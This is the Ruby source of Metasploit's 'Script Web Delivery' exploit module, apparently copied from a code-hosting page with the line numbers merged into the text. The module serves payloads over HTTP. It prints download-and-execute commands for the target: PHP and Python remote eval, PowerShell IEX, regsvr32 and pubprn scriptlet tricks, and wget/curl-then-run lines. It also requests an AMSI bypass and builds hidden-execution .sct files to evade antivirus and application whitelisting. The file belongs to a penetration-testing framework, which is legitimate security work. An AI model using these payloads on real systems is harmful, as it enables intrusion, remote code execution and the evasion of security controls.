Path: blob/master/modules/exploits/multi/script/web_delivery.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::EXE9include Msf::Exploit::Powershell10include Msf::Exploit::Remote::HttpServer1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Script Web Delivery',17'Description' => %q{18This module quickly fires up a web server that serves a payload.1920The module will provide a command to be run on the target machine21based on the selected target. The provided command will download22and execute a payload using either a specified scripting language23interpreter or "squiblydoo" via regsvr32.exe for bypassing24application whitelisting.2526The main purpose of this module is to quickly establish a session on a27target machine when the attacker has to manually type in the command:28e.g. Command Injection, RDP Session, Local Access or maybe Remote29Command Execution.3031This attack vector does not write to disk so it is less likely to32trigger AV solutions and will allow privilege escalations supplied33by Meterpreter.3435When using either of the PSH targets, ensure the payload architecture36matches the target computer or use SYSWOW64 powershell.exe to execute37x86 payloads on x64 machines.3839Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.40The signed Microsoft binary file, Regsvr32, is able to request an .sct41file and then execute the included PowerShell command inside of it.4243Similarly, the pubprn target uses the pubprn.vbs script to request and44execute a .sct file.4546Both web requests (i.e., the .sct file and PowerShell download/execute)47can occur on the same port.4849The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe50Microsoft signed binary to request and execute a PowerShell script. This51technique only works on Windows 10 builds <= 1709.5253"PSH (Binary)" will write a file to the disk, allowing for custom binaries54to be served up to be downloaded and executed.55},56'License' => MSF_LICENSE,57'Author' => [58'Andrew Smith "jakx" <[email protected]>',59'Ben Campbell',60'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!61'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)62'Trenton Ivey', # AppLocker MSF Module (kn0)63'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features64'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget65'Matt Nelson', # @enigma0x3 // pubprn discovery66'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass67'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery68],69'DefaultOptions' => {70'Payload' => 'python/meterpreter/reverse_tcp',71'Powershell::exec_in_place' => true72},73'References' => [74['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],75['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],76['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],77['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],78['URL', 'http://web.archive.org/web/20171026182440/http://subt0x10.blogspot.com:80/2017/04/bypass-application-whitelisting-script.html'],79['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],80['URL', 'https://iwantmore.pizza/posts/amsi.html'],81['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],82['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],83['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],84],85'Platform' => %w[python php win linux osx],86'Targets' => [87[88'Python', {89'Platform' => 'python',90'Arch' => ARCH_PYTHON91}92],93[94'PHP', {95'Platform' => 'php',96'Arch' => ARCH_PHP97}98],99[100'PSH', {101'Platform' => 'win',102'Arch' => [ARCH_X86, ARCH_X64]103}104],105[106'Regsvr32', {107'Platform' => 'win',108'Arch' => [ARCH_X86, ARCH_X64]109}110],111[112'pubprn', {113'Platform' => 'win',114'Arch' => [ARCH_X86, ARCH_X64]115}116],117[118'SyncAppvPublishingServer', {119'Platform' => 'win',120'Arch' => [ARCH_X86, ARCH_X64]121}122],123[124'PSH (Binary)', {125'Platform' => 'win',126'Arch' => [ARCH_X86, ARCH_X64]127}128],129[130'Linux', {131'Platform' => 'linux',132'Arch' => [ARCH_X86, ARCH_X64]133}134],135[136'Mac OS X', {137'Platform' => 'osx',138'Arch' => [ARCH_X86, ARCH_X64]139}140],141],142'DefaultTarget' => 0,143'DisclosureDate' => '2013-07-19',144'Notes' => {145'Reliability' => UNKNOWN_RELIABILITY,146'Stability' => UNKNOWN_STABILITY,147'SideEffects' => UNKNOWN_SIDE_EFFECTS148}149)150)151152register_advanced_options(153[154OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),155OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),156OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),157OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),158OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),159OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),160OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),161]162)163end164165def primer166print_status('Run the following command on the target machine:')167168case target.name169when 'PHP'170print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))171when 'Python'172print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))173when 'PSH'174uri = get_uri175if datastore['PSH-AmsiBypass']176amsi_uri = uri + amsi_bypass_uri177print_line(gen_psh([amsi_uri, uri], 'string').to_s)178else179print_line(gen_psh(uri, 'string').to_s)180end181when 'pubprn'182print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))183when 'SyncAppvPublishingServer'184print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))185when 'Regsvr32'186print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))187when 'PSH (Binary)'188psh = gen_psh(get_uri.to_s, 'download')189print_line(psh.to_s)190when 'Linux'191fname = Rex::Text.rand_text_alphanumeric(8)192print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")193when 'Mac OS X'194fname = Rex::Text.rand_text_alphanumeric(8)195print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")196end197end198199def amsi_bypass_uri200unless datastore['PSH-AmsiBypassURI'].empty?201@amsi_uri = datastore['PSH-AmsiBypassURI']202end203@amsi_uri ||= random_uri204end205206def on_request_uri(cli, request)207if request.raw_uri.to_s.ends_with?('.sct')208print_status('Handling .sct Request')209psh = gen_psh(get_uri.to_s, 'string')210211case target.name212when 'pubprn'213data = gen_pubprn_sct_file(psh)214when 'Regsvr32'215data = gen_sct_file(psh)216else217print_error('Unexpected request for .sct file')218end219220send_response(cli, data, 'Content-Type' => 'text/plain')221return222end223224if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)225data = bypass_powershell_protections226print_status("Delivering AMSI Bypass (#{data.length} bytes)")227send_response(cli, data, 'Content-Type' => 'text/plain')228return229end230231case target.name232when 'Linux', 'Mac OS X', 'PSH (Binary)'233data = generate_payload_exe234when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'235data = cmd_psh_payload(236payload.encoded,237payload_instance.arch.first238)239else240data = payload.encoded.to_s241end242243print_status("Delivering Payload (#{data.length} bytes)")244send_response(cli, data, 'Content-Type' => 'application/octet-stream')245end246247def gen_psh(url, *method)248ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl249force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']250251if method.include? 'string'252download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)253else254# Random filename to use, if there isn't anything set255random = "#{rand_text_alphanumeric(8)}.exe"256257# Set filename (Use random filename if empty)258filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']259260# Set path (Use %TEMP% if empty)261path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')262263# Join Path and Filename264file = %(echo (#{path}+'\\#{filename}'))265266# Generate download PowerShell command267download_string = Rex::Powershell::PshMethods.download_run(url, file)268end269270download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"271272# Generate main PowerShell command273if datastore['PSH-EncodedCommand']274download_and_run = encode_script(download_and_run)275return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)276end277278return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)279end280281def rand_class_id282"#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"283end284285def gen_sct_file(command)286%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}287end288289def gen_pubprn_sct_file(command)290%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}291end292end293294295